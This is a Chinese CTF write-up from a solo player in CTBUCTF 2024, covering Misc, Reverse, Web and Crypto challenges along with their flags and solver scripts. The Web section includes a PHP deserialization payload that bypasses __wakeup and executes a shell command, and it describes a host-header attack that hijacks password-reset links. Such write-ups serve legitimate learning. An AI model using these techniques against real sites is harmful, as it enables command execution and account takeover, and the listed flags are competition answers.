IM EMU OTORI!!! 战队WriteUp
一、 战队信息
战队名称:IM EMU OTORI!!! 战队(个人赛)
战队成员:Lwrzgo(Ijichi_Nijika)
战队排名:3
战队得分:3255
二、 解题情况
# | 题目 | 类型 | 得分 | 时间 |
---|---|---|---|---|
1 | 签到 | Misc | 125 | 2024/5/10 8:06 |
2 | 网络迷踪✈ | Misc | 126 | 2024/5/10 8:29 |
3 | 爱你老妈 | Misc | 186 | 2024/5/11 12:41 |
4 | 问卷 | Misc | 50 | 2024/5/12 19:21 |
5 | easy_z3 | Reverse | 129 (+1%) | 2024/5/10 9:05 |
6 | sign_in | Reverse | 140 | 2024/5/10 23:53 |
7 | 简单的逻辑 | Reverse | 237 | 2024/5/11 16:58 |
8 | random | Reverse | 237 | 2024/5/12 19:13 |
9 | deserialize | Web | 293 | 2024/5/11 2:43 |
10 | EZ_login | Web | 387 (+3%) | 2024/5/11 18:38 |
11 | 重生之我不是大宝 | Web | 217 | 2024/5/12 13:48 |
12 | ez_RSA | Crypto | 175 | 2024/5/12 0:11 |
13 | 最后的晚餐 | Crypto | 262 | 2024/5/12 0:19 |
14 | EZ_MATH | Crypto | 217 | 2024/5/12 3:03 |
15 | Chaining | Crypto | 237 | 2024/5/12 3:32 |
16 | EZ_Caesar | Crypto | 237 | 2024/5/12 3:46 |
三、 解题过程
Misc
签到 解题步骤:
虽然卡八点进的靶场,但是手速慢了没抢到血QAQ
coctf{CTBUCTF2024}
网络迷踪✈ 解题步骤:
由题目获得信息:日期 4-25;时间 20:08 左右;地点:北京,川外;以及群主有女朋友
这里有点插曲:刚开始趟坑了,一个是没留意到「川外」这个信息点,以及没想起「四川外国语大学」在重庆(还好之前打的和司机聊天提到过,外地人特有的不敏感)
最后锁定:
coctf{CA4147}
爱你老妈 解题步骤:
提示小写字母,开始爆破,话不多说,上图
coctf{d34r_m0m_h4ppy_m0th3r’s_d4y}
问卷 解题步骤:
认真填了就得a.a
coctf{Th4nk_y0u_f0r_4tt3nd1ng_CTBUCTF2024}
Reverse
easy_z3 解题步骤:
解五元一次方程,话不多说,上图:
coctf{991_2086_978_2498_897}
sign_in 解题步骤:
010打开,搜索即得
coctf{1575af2f-ab81-e94f-f1f3-f94d0b3dc8fd}
简单的逻辑 解题步骤:
把得到的汇编语言转换一下
#include <stdio.h>
#include <stdint.h>
void crypto(uint8_t* input, uint32_t length) {
uint32_t var_8 = 0;
uint8_t var_4 = 64;
for (var_8 = 0; var_8 < length; var_8++) {
for (var_4 = 64; var_4 <= 66; var_4++) {
input[var_8] ^= var_4;
}
}
}
int main() {
FILE* file;
int length = 43;
char text[44];
file = fopen("encrypted_flag.txt", "r");
fread(text, 1, length, file);
text[length] = '\0';
fclose(file);
crypto((uint8_t*)text, length);
printf("%s\n", text);
return 0;
}
原程序中,每个字节被连续异或了三个值(64, 65, 66)。解密过程理论上是加密过程的逆运算,也就是再次对每个字节执行相同的操作。所以,对加密后的数据再执行一次同样的crypto函数,即可实现解密
coctf{942869ce-adab-1fb0-1f10-e86d10385d94}
random 解题步骤
首先丢到 ida 分析一波
原理似乎是种子运算后生成随机数,程序输入框获取你的答案,判断校验对不对,根据提示要在 linux 环境运行才能得到答案
然后丢给gpt编写脚本
插曲:可恶的gpt漏了个 0,排查半天TMD硬控我半天
附上修改好的脚本
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 假设的flag函数原型,根据您的需求可能需要修改
void flag(const char* s);
int main() {
// 设置随机数种子
srand(0x608u);
// 初始化字符数组来存储生成的字符串
char s2[14]; // 13个字符加上末尾的空字符'\0'
// 执行循环生成字符串
for(int i = 0; i < 13; ++i) {
s2[i] = (rand() % 8) + 49;
}
s2[13] = '\0'; // 添加字符串结束符
// 尝试使用生成的字符串调用flag函数
flag(s2);
return 0;
}
// 以下是flag函数的一个示例实现,仅用于演示
void flag(const char* s) {
printf("%s\n", s);
}
coctf{2886643213258}
Web
deserialize 解题步骤:
这里利用到了各种魔术方法,最关键的一点就是利用序列化漏洞绕过 wakeup,我们需要构造下面这个
// 创建 C 类的实例
$c = new C();
$c->cmd = '各种指令';
// 创建 T 类的实例
$t = new T();
$t->whoami = $c;
// 创建 B 类的实例
$b = new B();
$b->sth = $t;
// 创建 U 类的实例
$u = new U('CO', 'C0ba1t');
$u->notes = $b;
// 序列化 U 类的实例
$ser = serialize($u);
// 输出序列化后的字符串
echo $ser;
传入序列化的值,记得修改「“U”:3」的3为4,修改上面的指令,可以看见根目录的「flag」文件,于是
?ser=O:1:"U":4:{s:4:"user";s:2:"CO";s:6:"passwd";s:6:"C0ba1t";s:5:"notes";O:1:"B":1:{s:3:"sth";O:1:"T":1:{s:6:"whoami";O:1:"C":1:{s:3:"cmd";s:9:"cat+/flag";}}}}
coctf{1IGh7In9!!!_GlvE_uP?_e6571be63ff7}
EZ_login 解题步骤:
根据提示是利用 host 头攻击,用 burp 抓包拦截重置密码页面,修改 host 可以实现,上图
这里把 host 修改成我的博客地址
跑去后台看一眼,有了!
然后重置密码,登录
flag{bcbd1b17-0006-43dd-8764-f06e3b9943c3}
重生之我不是大宝 解题步骤:
审计js代码,看见有个条件判断,添加断点修改值
coctf{yOu_V3_REAIIy_mAn_D4_64O_8rO7heR_b58cf8c30951}
Crypto
ez_RSA 解题步骤:
可以判断是维纳攻击,点击即送
coctf{007e3673-2598-4cec-9139-3176894e7fbe}
最后的晚餐 解题步骤:
判断是广播攻击,看见程序中 e 是 1 到 20 的随机数,结合题目最后的晚餐有 13 个人,所以 e=13
coctf{8089a94b-b2cb-4f69-88e3-73e14111b138}
EZ_MATH 解题步骤:
p,q 不知道但是知道n,hint,草稿纸上一顿公式推导可以联立解方程,附上脚本:
import gmpy2
from gmpy2 import mpz
from z3 import *
# 设置gmpy2的精度
gmpy2.get_context().precision = 1000
# 定义变量
t = Real('t')
n = Real('n')
h = Real('h')
# 给定的n和h的值
n_val = 78788766626120326471452816261924222971095369900300327721590308081673256522311514697043861045903234274975977018605002008966989160197598059148895322016106895443681492182752200770736093781004817345504458693234409884276928202016218856645970986876382707621257174886332346049759386135967644165619451296776371649499
h_val = 272743454103245792819188994404814744676604635807733602190567263300224791526307081618822216717588727927844676591086133012313421935844675334952104180117058826227363004173205262394263608222187365113809478282924413045420992127106706772805678135845012376427494669843353481229111600579836731174842697305524485954593987565429617683436716917822330604754298712919345443015500823012148254638232260856928822544237649645831712023016762432264994806149016755374242536128190014036350208500040549793460614015214348338096000498864166075314881553275809094577086950275114952880493724231892485212007947482001244842954214077384360422548625224041957110033517375356458456964096086864058184503070858070596804332368774268105248749752189165734721953134158056653616329698418624497207603892967470158723278868443668091613672292817164231914735479139096241871183367590227218272231590059260361495511131602730967142498591605093111209074400751353948948976112
# 方程
equation = t**3 - h*t - n**3
# 创建求解器实例
s = Solver()
# 添加约束条件
s.add(equation == 0, n == n_val, h == h_val)
# 求解方程
if s.check() == sat:
print(s.model()[t])
else:
print("无解")
t_value = s.model()[t].as_long()
p = gmpy2.root(mpz(t_value), 3)
q = n_val / p
print(f"计算得到的 p 值为: {p}")
print(f"计算得到的 q 值为: {q}")
coctf{e8e2a329-dd12-4c04-6867-7ae29965e1a6}
Chaining 解题步骤:
分块加密,但是我们已经知道了前四个字节是「coct」,可以得到 key,附上脚本:
import uuid
from Crypto.Util.number import *
import random
# 已知的明文开头
known_plain_text = 'coct'
# 将明文转换为ASCII字节串
plain_bytes = known_plain_text.encode('ascii')
# 将ASCII字节串转换为长整型数字
P0 = bytes_to_long(plain_bytes)
# 已知的初始向量
IV = bytes_to_long(b'cbc!')
# 第一个密文块
C0 = 15059162 # 这是列表c的第一个元素
# 计算密钥K
K = C0 ^ P0 ^ IV
print(K)
# 假设的密钥和初始向量,需要替换为正确的值
IV = bytes_to_long(b'cbc!')
# K = 0 # 替换为正确的密钥值
# 加密后的块列表,需要替换为正确的值
c = [15059162, 1719023408, 1392167133, 874524004, 66641350, 924919599, 447450054, 711881585, 447843272, 758676083, 1323552764]
# 解密过程
plain_blocks = []
for i in range(len(c)):
if i == 0:
plain_blocks.append(long_to_bytes(c[i] ^ K ^ IV))
else:
plain_blocks.append(long_to_bytes(c[i] ^ K ^ c[i-1]))
# 拼接解密后的块并打印
flag = b''.join(plain_blocks)
print(flag)
coctf{7e4d7bf2-6708-412f-bdf0-0807067a94c3}
EZ_Caesar 解题步骤:
这题开始没出来,纯粹是脑子不在线 XD,上图:
coctf{imKcpyGhflAYvGeyhbQJVduoHCfPDmpvTEKK}